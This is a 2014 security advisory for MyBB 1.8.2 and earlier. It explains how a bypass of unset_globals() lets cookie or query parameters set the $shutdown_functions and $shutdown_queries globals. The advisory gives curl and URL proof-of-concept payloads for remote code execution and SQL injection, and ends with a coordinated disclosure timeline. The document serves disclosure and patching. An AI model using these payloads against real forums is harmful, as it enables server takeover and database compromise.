#MyBB <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution Vulnerability
Taoguang Chen <@chtg> - 2014.03.06
MyBB's unset_globals() function can be bypassed under special conditions and it is possible to allows remote code execution.
##I. MyBB's unset_globals() Function Bypass
When PHP's register_globals configuration set on, MyBB will call unset_globals() function, all global variables registered by PHP from $_POST, $_GET, $_FILES, and $_COOKIE arrays will be destroyed.
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
unset($GLOBALS[$key]); // Double unset to circumvent the zend_hash_del_key_or_index hole in PHP <4.4.3 and <5.1.4
}
}
But unset_globals() function can be bypassed.
###i) $_GET, $_FILES, or $_COOKIE Array was Destroyed
foo.php?_COOKIE=1
// $_GET['_COOKIE']
When $_GET['_COOKIE']=1 is sent, unset_globals() will destroy $GLOBALS['_COOKIE'].
$this->unset_globals($_GET);
...
}
...
function unset_globals($array)
{
...
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
This means $_COOKIE array will be destroyed. This also means all global variables registered by PHP from $_COOKIE array will be destroyed because them will not be handled by unset().
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
By the same token, if $_GET or $_FILES array was destroyed via unset_globals(), the corresponding global variables registered by PHP will not be destroyed.
###ii) $GLOBALS Array was Destroyed
foo.php?GLOBALS=1
// $_GET['GLOBALS']
When $_GET['GLOBALS']=1 is sent, unset_globals() will destroy $GLOBALS['GLOBALS']. This means $GLOBALS array will be destroyed.
$GLOBALS array is a automatic global variable, and binding with global symbol table, you can use $GLOBALS['key'] to access or control a global variable in all scopes throughout a script. This means that the binding between the $GLOBALS array and the global symbol table will be broken because $GLOBALS array has been destroyed. This also means all variables registered by PHP from $_GET, $_FILES and $_COOKIE arrays will not be destroyed.
By the same token, when $_POST['GLOBALS'], $_FLIES['GLOBALS'], or $_COOKIE['GLOBALS'] is sent, unset_globals() will destroy $GLOBALS array, then the corresponding global variables registered by PHP will not be destroyed.
In fact, MyBB is already aware of the problem:
$protected = array("_GET", "_POST", "_SERVER", "_COOKIE", "_FILES", "_ENV", "GLOBALS");
foreach($protected as $var)
{
if(isset($_REQUEST[$var]) || isset($_FILES[$var]))
{
die("Hacking attempt");
}
}
Unfortunately, there is a small hole yet:-)
$_REQUEST is an associative array that by default contains mix of $_GET, $_POST, and $_COOKIE arrays data.
But PHP >= 5.3 introduced request_order configuration, the directive affects the contents of $_REQUEST array.
request_order = "GP"
This is recommended setting in php.ini. Set it to "GP" means only $_GET and $_POST arrays data is merged into $_REQUEST array without $_COOKIE array data.
So, it is possible that sent $_COOKIE['GLOBALS'], then bypass unset_globals() function in PHP 5.3.
##II. Remote Code Execution Vulnerability
There is one interesting method in MyBB:
class MyBB {
...
function __destruct()
{
// Run shutdown function
if(function_exists("run_shutdown"))
{
run_shutdown();
}
}
}
Look into run_shutdown() function:
function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// Run any shutdown functions if we have them
if(is_array($shutdown_functions))
{
foreach($shutdown_functions as $function)
{
call_user_func_array($function['function'], $function['arguments']);
}
}
$done_shutdown = true;
}
The $shutdown_functions was initialized via add_shutdown() function in init.php:
// Set up any shutdown functions we need to run globally
add_shutdown('send_mail_queue');
But add_shutdown() function initialization handler is wrong:
function add_shutdown($name, $arguments=array())
{
global $shutdown_functions;
if(!is_array($shutdown_functions))
{
$shutdown_functions = array();
}
if(!is_array($arguments))
{
$arguments = array($arguments);
}
if(is_array($name) && method_exists($name[0], $name[1]))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
else if(!is_array($name) && function_exists($name))
{
$shutdown_functions[] = array('function' => $name, 'arguments' => $arguments);
return true;
}
return false;
}
In the above code we see that run_shutdown() function is vulnerable because $shutdown_functions is initialized correctly and therefore result in arbitrary code execution.
##III. Proof of Concept
When request_order = "GP" and register_globals = On, remote code execution by just using curl on the command line:
$ curl --cookie "GLOBALS=1; shutdown_functions[0][function]=phpinfo; shutdown_functions[0][arguments][]=-1" http://www.target/
##IV. P.S.I
Another case to exploit the vulnerability:
When PHP's "disable_functions" configuration directive disable ini_get() function:
disable_functions = ini_get
The unset_globals() function will not be called that regardless of register_globals set on or off.
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
Proof of Concept
Works on disable_functions = ini_get and register_globals = On:
index.php?shutdown_functions[0][function]=phpinfo&shutdown_functions[0][arguments][]=-1
##V. P.S.II
SQL injection vulnerability via run_shutdown() function
function run_shutdown()
{
global $config, $db, $cache, $plugins, $error_handler, $shutdown_functions, $shutdown_queries, $done_shutdown, $mybb;
...
// We have some shutdown queries needing to be run
if(is_array($shutdown_queries))
{
// Loop through and run them all
foreach($shutdown_queries as $query)
{
$db->query($query);
}
}
The $shutdown_queries was initialized in global.php:
$shutdown_queries = array();
But not all files are included global.php, such as css.php:
require_once "./inc/init.php";
There is not included global.php, and $shutdown_queries is uninitialized, with the result that there is a SQL injection vulnerability.
Proof of Concept
Works on request_order = "GP" and register_globals = On:
$ curl --cookie "GLOBALS=1; shutdown_queries[]=SQL_Inj" http://www.target/css.php
Works on disable_functions = ini_get and register_globals = On:
css.php?shutdown_queries[]=SQL_Inj
##VI. Disclosure Timeline
- 2014.03.06 - Notified the MyBB devs via security contact form
- 2014.11.16 - Renotified the MyBB devs via Private Inquiries forum because no reply
- 2014.11.20 - MyBB developers released MyBB 1.8.3 and MyBB 1.6.16
- 2014.11.21 - Public Disclosure